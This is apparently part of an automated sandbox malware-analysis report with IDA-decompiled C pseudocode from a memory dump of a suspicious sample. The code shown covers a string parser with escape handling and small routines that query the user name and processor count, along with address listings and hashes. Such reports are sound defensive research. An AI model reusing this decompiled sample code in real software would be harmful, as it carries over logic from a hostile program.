              													_t669 = _v20;
              													_v16 = _t669;
              													if(_a11 == 0x2d) {
              														_t642 = _t658 | 0x00000100;
              														goto L82;
              													}
              													_t642 = _t658 | 0x00000002;
              													goto L211;
              												}
              												_t453 = _a11;
              												_t667 = _v32;
              												L132:
              												while(1) {
              													if(_t453 < 0x30 || _t453 > 0x39) {
              														if(_t453 == 0x2b || _t453 == 0x2d || _t453 == 0x65 || _t453 == 0x45 || _t453 == 0x2e) {
              															goto L139;
              														} else {
              															goto L141;
              														}
              													} else {
              														L139:
              														_t567 =  &(_t567[1]);
              														_v76 = _t567;
              														if(_t567 == _t667) {
              															L141:
              															_t669 = _v20;
              															_t642 = _v12 | 0x00000003;
              															_t664 = _a12;
              															_v12 = _t642;
              															_v16 = _t669;
              															goto L227;
              														}
              														_t453 =  *_t567;
              														continue;
              													}
              												}
              											}
              										}
              										if(_t590 != 0x3a) {
              											goto L247;
              										}
              										_t642 = _t642 & 0xffffffbf;
              										goto L82;
              									}
              									if(_t590 != 0x2c) {
              										goto L247;
              									}
              									_t642 = _t642 & 0xfffffffb;
              									goto L82;
              								}
              								if(_t590 == 0) {
              									_t372 =  &_v80;
              									 *_t372 = _v80 - 1;
              									_t454 = _v28;
              									_v36 = _t454;
              									if( *_t372 < 0) {
              										st0 = _t712;
              										return _t454;
              									}
              									_t397 = _v80;
              									_t567 = _v56;
              									goto L6;
              								}
              								st0 = _t712;
              								_t456 = _t590 - 9;
              								if(_t456 == 0) {
              									goto L241;
              								}
              								_t457 = _t456 - 1;
              								if(_t457 == 0) {
              									goto L107;
              								}
              								_t458 = _t457 - 3;
              								if(_t458 == 0) {
              									goto L241;
              								}
              								if(_t458 != 0x13) {
              									goto L247;
              								}
              								goto L241;
              							}
              							if((_t642 & 0x00006000) == 0) {
              								if(_t590 != 0x2f) {
              									goto L100;
              								}
              								st0 = _t712;
              								if((_t642 & 0x00000088) != 0 ||  *((intOrPtr*)(_t669 + 4)) == 1) {
              									_t567 =  &(_t567[1]);
              									_v76 = _t567;
              									if(_t567 == _v32) {
              										goto L247;
              									}
              									_t460 =  *_t567;
              									if(_t460 == 0x2a) {
              										_t642 = _t642 | 0x00004000;
              										goto L82;
              									}
              									if(_t460 != 0x2f) {
              										goto L247;
              									}
              									_t642 = _t642 | 0x00002000;
              									goto L82;
              								} else {
              									goto L247;
              								}
              							}
              							if((_t642 & 0x00002000) == 0) {
              								if((_t642 & 0x00004000) == 0) {
              									goto L100;
              								}
              								st0 = _t712;
              								if(_t590 == 0) {
              									goto L247;
              								}
              								if(_t590 != 0x2a) {
              									goto L242;
              								}
              								if(_t567 >= _v32 - 1) {
              									goto L241;
              								}
              								_t397 = _v80;
              								if(_t567[1] == 0x2f) {
              									_t642 = _t642 & 0xffffbfff;
              									_t567 =  &(_t567[1]);
              									_v12 = _t642;
              								}
              								goto L242;
              							}
              							st0 = _t712;
              							if(_t590 == 0xd || _t590 == 0xa || _t590 == 0) {
              								_t642 = _t642 & 0xffffdfff;
              								_t567 = _t567 - 1;
              								_v12 = _t642;
              							}
              							goto L242;
              						}
              						if(_t590 == 0 || _t664 > _v112) {
              							goto L246;
              						} else {
              							if((_t642 & 0x00000010) == 0) {
              								if(_t590 != 0x5c) {
              									if(_t590 != 0x22) {
              										st0 = _t712;
              										L84:
              										if(_t397 == 0) {
              											 *((char*)(_t664 + _v24)) = _t590;
              											_t669 = _v16;
              										}
              										L62:
              										_t664 = _t664 + 1;
              										_a12 = _t664;
              										goto L242;
              									}
              									if(_t397 == 0) {
              										 *((char*)(_t664 + _v24)) = 0;
              									}
              									_t114 = _t669 + 4; // 0x45794651
              									_t642 = _t642 & 0xffffffdf;
              									_v24 = _v24 & 0x00000000;
              									_v12 = _t642;
              									_t462 =  *_t114 - 1;
              									if(_t462 == 0) {
              										st0 = _t712;
              										if(_v80 == 0) {
              											_t133 = _t669 + 8; // 0x78726255
              											_t134 = _t669 + 0xc; // 0x62633463
              											_t135 = _t669 + 0x10; // 0x6a343850
              											 *((intOrPtr*)( *_t133 * 0xc +  *_t134)) =  *_t135;
              											_t137 = _t669 + 8; // 0x78726255
              											_t138 = _t669 + 0xc; // 0x62633463
              											_t642 = _v12;
              											 *( *_t137 * 0xc +  *_t138 + 4) = _t664;
              											_t142 = _t664 + 1; // 0x9
              											 *((intOrPtr*)(_t669 + 0x10)) =  *((intOrPtr*)(_t669 + 0x10)) + _t142;
              										} else {
              											_t130 = _t664 + 1; // 0x9
              											 *(_t669 + 0xc) =  *(_t669 + 0xc) + _t130;
              										}
              										_t642 = _t642 | 0x00000048;
              										goto L82;
              									} else {
              										_t397 = _v80;
              										if(_t462 == 4) {
              											_t642 = _t642 | 0x00000001;
              											 *(_t669 + 8) = _t664;
              											_v12 = _t642;
              										}
              										goto L71;
              									}
              								}
              								_t642 = _t642 | 0x00000010;
              								st0 = _t712;
              								_v12 = _t642;
              								goto L242;
              							}
              							_t642 = _t642 & 0xffffffef;
              							_v12 = _t642;
              							st0 = _t712;
              							_t469 = _t590 - 0x62;
              							if(_t469 == 0) {
              								_t397 = _v80;
              								if(_t397 == 0) {
              									 *((char*)(_t664 + _v24)) = 8;
              								}
              								goto L62;
              							}
              							_t472 = _t469 - 4;
              							if(_t472 == 0) {
              								_t397 = _v80;
              								if(_t397 == 0) {
              									 *((char*)(_t664 + _v24)) = 0xc;
              								}
              								goto L62;
              							}
              							_t473 = _t472 - 8;
              							if(_t473 == 0) {
              								_t397 = _v80;
              								if(_t397 == 0) {
              									 *((char*)(_t664 + _v24)) = 0xa;
              								}
              								goto L62;
              							}
              							_t474 = _t473 - 4;
              							if(_t474 == 0) {
              								_t397 = _v80;
              								if(_t397 == 0) {
              									 *((char*)(_t664 + _v24)) = 0xd;
              								}
              								goto L62;
              							}
              							_t476 = _t474;
              							if(_t476 == 0) {
              								_t397 = _v80;
              								if(_t397 == 0) {
              									 *((char*)(_t664 + _v24)) = 9;
              								}
              								goto L62;
              							}
              							if(_t476 == 1) {
              								if(_v32 - _t567 <= 4) {
              									goto L247;
              								}
              								_t579 =  &(_t567[1]);
              								_v76 = _t579;
              								_t481 = E0235C393( *_t579 & 0x000000ff);
              								_a11 = _t481;
              								if(_t481 == 0xff) {
              									goto L247;
              								}
              								_t580 =  &(_t579[1]);
              								_v76 = _t580;
              								_t482 = E0235C393( *_t580 & 0x000000ff);
              								_a15 = _t482;
              								if(_t482 == 0xff) {
              									goto L247;
              								}
              								_t581 =  &(_t580[1]);
              								_v76 = _t581;
              								_t483 = E0235C393( *_t581 & 0x000000ff);
              								_a7 = _t483;
              								if(_t483 == 0xff) {
              									goto L247;
              								}
              								_t567 =  &(_t581[1]);
              								_v76 = _t567;
              								_t484 = E0235C393( *_t567 & 0x000000ff);
              								_v5 = _t484;
              								if(_t484 == 0xff) {
              									goto L247;
              								}
              								_t674 = _a11 << 0x00000004 & 0x000000ff | _a15 & 0x000000ff;
              								_v44 = _t674;
              								_t624 = _t674 << 0x00000008 | _a7 << 0x00000004 & 0x000000ff | _v5 & 0x000000ff;
              								_v44 = _t624;
              								if((_t624 & 0x0000f800) != 0xd800) {
              									L35:
              									_t397 = _v80;
              									if(_t624 > 0x7f) {
              										if(_t624 > 0x7ff) {
              											if(_t624 > 0xffff) {
              												if(_t397 == 0) {
              													_t675 = _v24;
              													 *(_t664 + _t675) = _t624 >> 0x00000012 | 0x000000f0;
              													 *(_t664 + _t675 + 1) = _t624 >> 0x0000000c & 0x0000003f | 0x00000080;
              													 *(_t664 + _t675 + 2) = _t624 >> 0x00000006 & 0x0000003f | 0x00000080;
              													 *(_t664 + _t675 + 3) = _t624 & 0x0000003f | 0x00000080;
              													_t664 = _t664 + 4;
              													L44:
              													_a12 = _t664;
              													goto L240;
              												}
              												_t664 = _t664 + 4;
              												goto L39;
              											}
              											if(_t397 == 0) {
              												_t676 = _v24;
              												 *(_t664 + _t676) = _t624 >> 0x0000000c | 0x000000e0;
              												 *(_t664 + _t676 + 1) = _t624 >> 0x00000006 & 0x0000003f | 0x00000080;
              												 *(_t664 + _t676 + 2) = _t624 & 0x0000003f | 0x00000080;
              												_t664 = _t664 + 3;
              												goto L44;
              											} else {
              												_t664 = _t664 + 3;
              												goto L39;
              											}
              										}
              										if(_t397 == 0) {
              											_t677 = _v24;
              											 *(_t664 + _t677) = _t624 >> 0x00000006 | 0x000000c0;
              											 *(_t664 + _t677 + 1) = _t624 & 0x0000003f | 0x00000080;
              											_t664 = _t664 + 2;
              											goto L44;
              										} else {
              											_t664 = _t664 + 2;
              											goto L39;
              										}
              									} else {
              										if(_t397 == 0) {
              											 *(_t664 + _v24) = _t624;
              										}
              										_t664 = _t664 + 1;
              										L39:
              										_t669 = _v16;
              										_a12 = _t664;
              										goto L242;
              									}
              								}
              								if(_v32 - _t567 <= 6) {
              									goto L247;
              								}
              								_t582 =  &(_t567[1]);
              								_v76 = _t582;
              								if( *_t582 != 0x5c) {
              									goto L247;
              								}
              								_t583 =  &(_t582[1]);
              								_v76 = _t583;
              								if( *_t583 != 0x75) {
              									goto L247;
              								}
              								_t584 =  &(_t583[1]);
              								_v76 = _t584;
              								if(E0235C393( *_t584 & 0x000000ff) == 0xff) {
              									goto L247;
              								}
              								_t585 =  &(_t584[1]);
              								_v76 = _t585;
              								_t519 = E0235C393( *_t585 & 0x000000ff);
              								_a11 = _t519;
              								if(_t519 == 0xff) {
              									goto L247;
              								}
              								_t586 =  &(_t585[1]);
              								_v76 = _t586;
              								_t520 = E0235C393( *_t586 & 0x000000ff);
              								_a15 = _t520;
              								if(_t520 == 0xff) {
              									goto L247;
              								}
              								_t567 =  &(_t586[1]);
              								_v76 = _t567;
              								_t521 = E0235C393( *_t567 & 0x000000ff);
              								_a7 = _t521;
              								if(_t521 == 0xff) {
              									goto L247;
              								} else {
              									_t683 = (_v44 & 0x000003bf | 0x00000040) << 0x00000002 | _a11 & 3;
              									_v44 = _t683;
              									_t624 = _t683 << 0x00000008 | _a15 << 0x00000004 & 0x000000ff | _a7 & 0x000000ff;
              									goto L35;
              								}
              							} else {
              								_t397 = _v80;
              								goto L84;
              							}
              						}
              					}
              				}
              			}



























































































































              0x0235c431
              0x0235c434
              0x0235c439
              0x0235c43c
              0x0235c43f
              0x0235c442
              0x0235c445
              0x0235c448
              0x0235c44b
              0x0235c44e
              0x0235c454
              0x0235c467
              0x0235c46a
              0x0235c46d
              0x0235c46d
              0x0235c476
              0x0235c47e
              0x0235c486
              0x0235c487
              0x0235c487
              0x0235c489
              0x0235c48f
              0x0235c493
              0x0235c499
              0x0235c49c
              0x0235c49c
              0x0235c49c
              0x0235c4a0
              0x0235c4a2
              0x0235c4a5
              0x0235c4a9
              0x0235c4aa
              0x0235c4ad
              0x0235c4b0
              0x0235c4b3
              0x0235c4b6
              0x0235c4bd
              0x0235c4bd
              0x0235c4c3
              0x0235c4c9
              0x0235c4c5
              0x0235c4c5
              0x0235c4c5
              0x0235c4cb
              0x0235c4cb
              0x0235c4d1
              0x0235c810
              0x0235c814
              0x0235c933
              0x0235c935
              0x0235c978
              0x0235ccc3
              0x0235ccc3
              0x0235ccc6
              0x0235ccc8
              0x0235ccce
              0x0235cf09
              0x0235cf0b
              0x0235cf0e
              0x0235d001
              0x0235d001
              0x0235d004
              0x0235d004
              0x0235d007
              0x0235d007
              0x0235d00d
              0x0235c4bd
              0x0235c4c3
              0x0235c4c9
              0x0235c4c5
              0x0235c4c5
              0x0235c4c5
              0x00000000
              0x0235c4c9
              0x0235cf14
              0x0235cf17
              0x0235cffa
              0x0235cffd
              0x00000000
              0x0235cffd
              0x0235cf1d
              0x0235cf20
              0x00000000
              0x00000000
              0x0235cf26
              0x0235cf29
              0x00000000
              0x00000000
              0x0235cf30
              0x0235cf33
              0x0235cf5f
              0x0235d030
              0x0235d030
              0x0235d038
              0x0235d03e
              0x0235d04e
              0x0235d050
              0x0235d059
              0x0235d05f
              0x00000000
              0x00000000
              0x00000000
              0x00000000
              0x0235d040
              0x0235d040
              0x0235d040
              0x0235d044
              0x0235d047
              0x0235d04a
              0x00000000
              0x0235d040
              0x0235cf65
              0x0235cf68
              0x0235cf6b
              0x0235cf6d
              0x0235cf70
              0x0235cf73
              0x0235cf76
              0x0235cf80
              0x0235cf83
              0x0235cf85
              0x0235cf88
              0x0235cf89
              0x0235cf8c
              0x0235cf8c
              0x0235cf92
              0x0235cf94
              0x0235cf99
              0x0235cf9c
              0x0235cfa0
              0x0235cfb4
              0x0235cfbb
              0x0235cfbe
              0x0235cfc3
              0x0235cfc6
              0x0235cfdf
              0x0235cfc8
              0x0235cfcb
              0x0235cfd3
              0x0235cfd3
              0x0235cfcb
              0x0235cfc6
              0x0235cfe3
              0x0235cfe5
              0x0235cfee
              0x00000000
              0x0235cff0
              0x0235cff0
              0x0235cff2
              0x0235cff5
              0x00000000
              0x0235cff5
              0x0235cfee
              0x0235cfa2
              0x0235c885
              0x0235c885
              0x0235c885
              0x00000000
              0x0235cf92
              0x0235cf35
              0x0235cf38
              0x0235cf51
              0x00000000
              0x00000000
              0x0235cf57
              0x0235cf49
              0x0235cf49
              0x0235cf7d
              0x0235cf7d
              0x00000000
              0x0235cf7d
              0x0235cf3d
              0x00000000
              0x00000000
              0x0235cf46
              0x00000000
              0x0235cf46
              0x0235ccd4
              0x0235ccda
              0x0235cf7b
              0x00000000
              0x0235cf7b
              0x0235cce6
              0x0235cdb1
              0x0235cdf5
              0x00000000
              0x00000000
              0x0235cdf9
              0x0235ce0b
              0x0235ce0e
              0x00000000
              0x0235cdb8
              0x0235cdbb
              0x0235ce16
              0x0235ce1c
              0x0235cea1
              0x0235d02e
              0x0235d02e
              0x00000000
              0x0235d02e
              0x0235cea7
              0x0235ceac
              0x0235ceb4
              0x0235ceba
              0x0235cebd
              0x0235cec2
              0x0235cec5
              0x0235cec8
              0x0235cece
              0x0235ced1
              0x0235ced7
              0x0235cedf
              0x0235cef9
              0x0235cee1
              0x0235cee1
              0x0235cee4
              0x0235cee9
              0x0235ceec
              0x0235cef1
              0x0235cef1
              0x0235cedf
              0x0235cefe
              0x0235cf01
              0x0235cf01
              0x00000000
              0x0235cf01
              0x0235ce21
              0x0235ce65
              0x0235ce68
              0x0235ce6a
              0x0235ce6d
              0x0235ce74
              0x0235ce77
              0x0235ce80
              0x0235ce82
              0x0235ce88
              0x0235ce8b
              0x0235ce8b
              0x0235ce8e
              0x0235ce92
              0x00000000
              0x00000000
              0x00000000
              0x00000000
              0x0235ce6d
              0x0235ce23
              0x0235ce28
              0x00000000
              0x00000000
              0x0235ce2e
              0x0235ce34
              0x0235ce37
              0x0235ce3a
              0x0235ce3d
              0x0235ce40
              0x0235ce45
              0x0235ce48
              0x0235ce4b
              0x0235ce4e
              0x0235ce51
              0x0235ce54
              0x0235ce57
              0x0235ce5a
              0x0235ce5d
              0x0235ce60
              0x00000000
              0x0235cdc2
              0x0235cdc6
              0x0235cdc8
              0x00000000
              0x00000000
              0x0235cdd1
              0x0235cdd4
              0x0235cdd8
              0x0235cdde
              0x0235cde1
              0x00000000
              0x0235cde1
              0x0235cdbb
              0x0235cdb1
              0x0235ccef
              0x0235ccf1
              0x0235ccf2
              0x0235ccf8
              0x0235cd3b
              0x0235cd90
              0x0235cd94
              0x0235cda1
              0x0235cda6
              0x00000000
              0x0235cda6
              0x0235cd44
              0x00000000
              0x00000000
              0x0235cd4d
              0x0235cd54
              0x0235cd56
              0x0235cd56
              0x0235cd5f
              0x0235cd62
              0x0235cd64
              0x0235cd6b
              0x0235cd6e
              0x0235cd71
              0x0235cd78
              0x0235cd7b
              0x0235cd7d
              0x0235cd80
              0x0235cd83
              0x0235cd85
              0x0235cd88
              0x00000000
              0x0235cd88
              0x0235cd00
              0x00000000
              0x00000000
              0x0235cd16
              0x0235cd19
              0x0235cd22
              0x0235cd25
              0x0235cd27
              0x0235cd2a
              0x0235cd2d
              0x00000000
              0x0235cd2d
              0x0235c981
              0x0235c983
              0x0235c986
              0x00000000
              0x00000000
              0x0235c98c
              0x0235c98f
              0x0235c969
              0x0235c969
              0x0235c96c
              0x00000000
              0x0235c96c
              0x0235c991
              0x0235c994
              0x00000000
              0x00000000
              0x0235c99a
              0x0235c99d
              0x00000000
              0x00000000
              0x0235c9a6
              0x0235cca8
              0x00000000
              0x0235ccb8
              0x0235ccbb
              0x00000000
              0x0235ccbb
              0x0235cca8
              0x0235c9af
              0x0235c9c5
              0x0235c9db
              0x0235c9e1
              0x0235cc74
              0x0235cc79
              0x0235cc7e
              0x00000000
              0x00000000
              0x0235cc84
              0x0235cc8a
              0x0235cc8d
              0x0235cc90
              0x0235cc92
              0x0235cc98
              0x0235cc9b
              0x0235cc9e
              0x00000000
              0x0235cc9e
              0x0235c9ea
              0x0235cc3b
              0x0235cc40
              0x0235cc45
              0x00000000
              0x00000000
              0x0235cc4e
              0x0235cc51
              0x0235cc54
              0x0235cc57
              0x0235cc5a
              0x00000000
              0x0235cc5a
              0x0235c9f3
              0x0235cbb6
              0x00000000
              0x00000000
              0x0235cbbc
              0x0235cbbd
              0x0235cbc3
              0x00000000
              0x00000000
              0x0235cbc9
              0x0235cbca
              0x0235cbd0
              0x00000000
              0x00000000
              0x0235cbd6
              0x0235cbd7
              0x0235cbdd
              0x00000000
              0x00000000
              0x0235cbe3
              0x0235cbe4
              0x0235cbea
              0x00000000
              0x00000000
              0x0235cbf0
              0x0235cbf2
              0x0235cbf5
              0x0235cbf9
              0x0235cbfd
              0x0235cc01
              0x0235cc02
              0x0235cc07
              0x0235cc0c
              0x00000000
              0x00000000
              0x0235cc15
              0x0235cc18
              0x0235cc1b
              0x0235cc1e
              0x0235cc21
              0x00000000
              0x0235cc21
              0x0235c9fc
              0x0235cb7d
              0x00000000
              0x00000000
              0x0235cb83
              0x0235cb84
              0x0235cb8a
              0x00000000
              0x00000000
              0x0235cb90
              0x0235cb91
              0x0235cb97
              0x00000000
              0x00000000
              0x0235cb9d
              0x0235cb9e
              0x0235cba4
              0x00000000
              0x00000000
              0x0235cbaa
              0x00000000
              0x0235cbaa
              0x0235ca05
              0x0235cb0a
              0x00000000
              0x00000000
              0x0235cb10
              0x0235cb11
              0x0235cb17
              0x00000000
              0x00000000
              0x0235cb1d
              0x0235cb1e
              0x0235cb24
              0x00000000
              0x00000000
              0x0235cb2a
              0x0235cb2b
              0x0235cb31
              0x00000000
              0x00000000
              0x0235cb49
              0x0235cb4e
              0x0235cb53
              0x00000000
              0x00000000
              0x0235cb59
              0x0235cb62
              0x0235cb65
              0x0235cb67
              0x0235cb6a
              0x0235cb6d
              0x00000000
              0x0235cb6d
              0x0235ca0e
              0x0235cae1
              0x0235cae6
              0x0235caeb
              0x00000000
              0x00000000
              0x0235caf1
              0x0235caf4
              0x0235caf7
              0x0235cafa
              0x00000000
              0x0235cafa
              0x0235ca17
              0x0235ca21
              0x00000000
              0x00000000
              0x00000000
              0x0235ca27
              0x0235ca27
              0x0235ca39
              0x0235ca3e
              0x0235ca43
              0x00000000
              0x00000000
              0x0235ca4d
              0x0235ca50
              0x0235ca9a
              0x0235ca9e
              0x0235caa4
              0x0235caa8
              0x0235caac
              0x0235cab4
              0x0235cab7
              0x0235caba
              0x0235cac4
              0x00000000
              0x0235cac4
              0x0235cabc
              0x00000000
              0x0235cabc
              0x0235ca52
              0x0235ca55
              0x00000000
              0x0235ca58
              0x0235ca5a
              0x0235ca62
              0x00000000
              0x00000000
              0x00000000
              0x00000000
              0x0235ca74
              0x0235ca74
              0x0235ca74
              0x0235ca75
              0x0235ca7a
              0x0235ca80
              0x0235ca83
              0x0235ca86
              0x0235ca89
              0x0235ca8c
              0x0235ca8f
              0x00000000
              0x0235ca8f
              0x0235ca7c
              0x00000000
              0x0235ca7c
              0x0235ca5a
              0x0235ca58
              0x0235ca17
              0x0235c9ca
              0x00000000
              0x00000000
              0x0235c9d0
              0x00000000
              0x0235c9d0
              0x0235c9b4
              0x00000000
              0x00000000
              0x0235c9ba
              0x00000000
              0x0235c9ba
              0x0235c939
              0x0235d013
              0x0235d013
              0x0235d017
              0x0235d01a
              0x0235d01d
              0x0235d02a
              0x00000000
              0x0235d02a
              0x0235d01f
              0x0235d022
              0x00000000
              0x0235d022
              0x0235c942
              0x0235c944
              0x0235c947
              0x00000000
              0x00000000
              0x0235c94d
              0x0235c950
              0x00000000
              0x00000000
              0x0235c952
              0x0235c955
              0x00000000
              0x00000000
              0x0235c95e
              0x00000000
              0x00000000
              0x00000000
              0x0235c964
              0x0235c820
              0x0235c8ef
              0x00000000
              0x00000000
              0x0235c8f1
              0x0235c8f6
              0x0235c902
              0x0235c903
              0x0235c909
              0x00000000
              0x00000000
              0x0235c90f
              0x0235c913
              0x0235c928
              0x00000000
              0x0235c928
              0x0235c917
              0x00000000
              0x00000000
              0x0235c91d
              0x00000000
              0x00000000
              0x00000000
              0x00000000
              0x0235c8f6
              0x0235c82c
              0x0235c8ab
              0x00000000
              0x00000000
              0x0235c8b1
              0x0235c8b5
              0x00000000
              0x00000000
              0x0235c8be
              0x00000000
              0x00000000
              0x0235c8ca
              0x00000000
              0x00000000
              0x0235c8d4
              0x0235c8d7
              0x0235c8dd
              0x0235c8e3
              0x0235c8e4
              0x0235c8e4
              0x00000000
              0x0235c8d7
              0x0235c82e
              0x0235c833
              0x0235c842
              0x0235c848
              0x0235c849
              0x0235c849
              0x00000000
              0x0235c833
              0x0235c4d9
              0x00000000
              0x0235c4e8
              0x0235c4eb
              0x0235c7ca
              0x0235c7dc
              0x0235c88d
              0x0235c88f
              0x0235c891
              0x0235c89a
              0x0235c89d
              0x0235c89d
              0x0235c7be
              0x0235c7be
              0x0235c7bf
              0x00000000
              0x0235c7bf
              0x0235c7e4
              0x0235c7e9
              0x0235c7e9
              0x0235c7ed
              0x0235c7f0
              0x0235c7f3
              0x0235c7f7
              0x0235c7fa
              0x0235c7fd
              0x0235c855
              0x0235c857
              0x0235c861
              0x0235c865
              0x0235c868
              0x0235c86b
              0x0235c86e
              0x0235c872
              0x0235c875
              0x0235c878
              0x0235c87c
              0x0235c87f
              0x0235c859
              0x0235c859
              0x0235c85c
              0x0235c85c
              0x0235c882
              0x00000000
              0x0235c7ff
              0x0235c802
              0x0235c805
              0x0235c807
              0x0235c80a
              0x0235c80d
              0x0235c80d
              0x00000000
              0x0235c805
              0x0235c7fd
              0x0235c7cc
              0x0235c7cf
              0x0235c7d1
              0x00000000
              0x0235c7d1
              0x0235c4f1
              0x0235c4f7
              0x0235c4fa
              0x0235c4fc
              0x0235c4ff
              0x0235c7b0
              0x0235c7b5
              0x0235c7ba
              0x0235c7ba
              0x00000000
              0x0235c7b5
              0x0235c505
              0x0235c508
              0x0235c7a0
              0x0235c7a5
              0x0235c7aa
              0x0235c7aa
              0x00000000
              0x0235c7a5
              0x0235c50e
              0x0235c511
              0x0235c790
              0x0235c795
              0x0235c79a
              0x0235c79a
              0x00000000
              0x0235c795
              0x0235c517
              0x0235c51a
              0x0235c780
              0x0235c785
              0x0235c78a
              0x0235c78a
              0x00000000
              0x0235c785
              0x0235c521
              0x0235c524
              0x0235c770
              0x0235c775
              0x0235c77a
              0x0235c77a
              0x00000000
              0x0235c775
              0x0235c52d
              0x0235c53f
              0x00000000
              0x00000000
              0x0235c545
              0x0235c546
              0x0235c54d
              0x0235c552
              0x0235c558
              0x00000000
              0x00000000
              0x0235c55e
              0x0235c55f
              0x0235c566
              0x0235c56b
              0x0235c571
              0x00000000
              0x00000000
              0x0235c577
              0x0235c578
              0x0235c57f
              0x0235c584
              0x0235c58a
              0x00000000
              0x00000000
              0x0235c590
              0x0235c591
              0x0235c598
              0x0235c59d
              0x0235c5a3
              0x00000000
              0x00000000
              0x0235c5b9
              0x0235c5c8
              0x0235c5cf
              0x0235c5d3
              0x0235c5e0
              0x0235c6a0
              0x0235c6a0
              0x0235c6a6
              0x0235c6c4
              0x0235c6f7
              0x0235c72d
              0x0235c737
              0x0235c741
              0x0235c74d
              0x0235c760
              0x0235c764
              0x0235c768
              0x0235c6e9
              0x0235c6e9
              0x00000000
              0x0235c6e9
              0x0235c72f
              0x00000000
              0x0235c72f
              0x0235c6fb
              0x0235c702
              0x0235c70c
              0x0235c71e
              0x0235c722
              0x0235c726
              0x00000000
              0x0235c6fd
              0x0235c6fd
              0x00000000
              0x0235c6fd
              0x0235c6fb
              0x0235c6c8
              0x0235c6cf
              0x0235c6df
              0x0235c6e2
              0x0235c6e6
              0x00000000
              0x0235c6ca
              0x0235c6ca
              0x00000000
              0x0235c6ca
              0x0235c6a8
              0x0235c6aa
              0x0235c6af
              0x0235c6af
              0x0235c6b2
              0x0235c6b3
              0x0235c6b3
              0x0235c6b6
              0x00000000
              0x0235c6b6
              0x0235c6a6
              0x0235c5ee
              0x00000000
              0x00000000
              0x0235c5f4
              0x0235c5f5
              0x0235c5fb
              0x00000000
              0x00000000
              0x0235c601
              0x0235c602
              0x0235c608
              0x00000000
              0x00000000
              0x0235c60e
              0x0235c60f
              0x0235c61e
              0x00000000
              0x00000000
              0x0235c624
              0x0235c625
              0x0235c62c
              0x0235c631
              0x0235c637
              0x00000000
              0x00000000
              0x0235c63d
              0x0235c63e
              0x0235c645
              0x0235c64a
              0x0235c650
              0x00000000
              0x00000000
              0x0235c656
              0x0235c657
              0x0235c65e
              0x0235c663
              0x0235c669
              0x00000000
              0x0235c66f
              0x0235c688
              0x0235c697
              0x0235c69e
              0x00000000
              0x0235c69e
              0x0235c52f
              0x0235c52f
              0x00000000
              0x0235c52f
              0x0235c52d
              0x0235c4d9
              0x0235c4bd

              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID: -
              • API String ID: 0-2547889144
              • Opcode ID: e5da92483ce153fc0a4326391cf6db3cc7a8b5a58ed588948a77882de9fb7ef0
              • Instruction ID: 3a9e1de56b623202ac765914c6b647a0ce897b79d54d7c5ed10aeb96e7429ec6
              • Opcode Fuzzy Hash: e5da92483ce153fc0a4326391cf6db3cc7a8b5a58ed588948a77882de9fb7ef0
              • Instruction Fuzzy Hash: 0082CE71D007299FDF24CFA8C880BAEBBF5BF05318F18955ADC59A7685C3349982CB90
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E023558B4() {
              				long _v8;
              				WCHAR* _t3;
              				int _t5;
              				WCHAR* _t11;
              
              				_t3 = E02355174(0x202);
              				_t11 = _t3;
              				if(_t11 != 0) {
              					_v8 = 0x101;
              					_t5 = GetUserNameW(_t11,  &_v8); // executed
              					if(_t5 == 0) {
              						E023551C1(_t11);
              						_t11 = 0;
              					}
              					_t3 = _t11;
              				}
              				return _t3;
              			}







              0x023558be
              0x023558c3
              0x023558c8
              0x023558cd
              0x023558d6
              0x023558de
              0x023558e1
              0x023558e7
              0x023558e7
              0x023558e9
              0x023558e9
              0x023558ef

              APIs
                • Part of subcall function 02355174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,02351548), ref: 02355189
                • Part of subcall function 02355174: GetProcessHeap.KERNEL32(?,02351548), ref: 02355198
              • GetUserNameW.ADVAPI32(00000000,02351A0C), ref: 023558D6
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Heap$CreateNameProcessUser
              • String ID:
              • API String ID: 499767188-0
              • Opcode ID: 975258fc00aa6943174129fc56dae0a436acefe29768df1bfd6a593c1c1f1e2b
              • Instruction ID: c51d62335bfd780f600c2e9445b960319726cc5eb156ca4a05297c270b0da9ea
              • Opcode Fuzzy Hash: 975258fc00aa6943174129fc56dae0a436acefe29768df1bfd6a593c1c1f1e2b
              • Instruction Fuzzy Hash: D5E0CD32B51235779E34D6949C09D9FBB9CCF02760F50015AEC08E7140D7D56F0145D1
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02355AEB() {
              				struct _SYSTEM_INFO _v40;
              
              				GetSystemInfo( &_v40); // executed
              				return _v40.dwNumberOfProcessors;
              			}




              0x02355af5
              0x02355b01

              APIs
              • GetSystemInfo.KERNELBASE(?,?,023539DE,?,00000000,00000000,02353B70,?,?,00000000), ref: 02355AF5
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
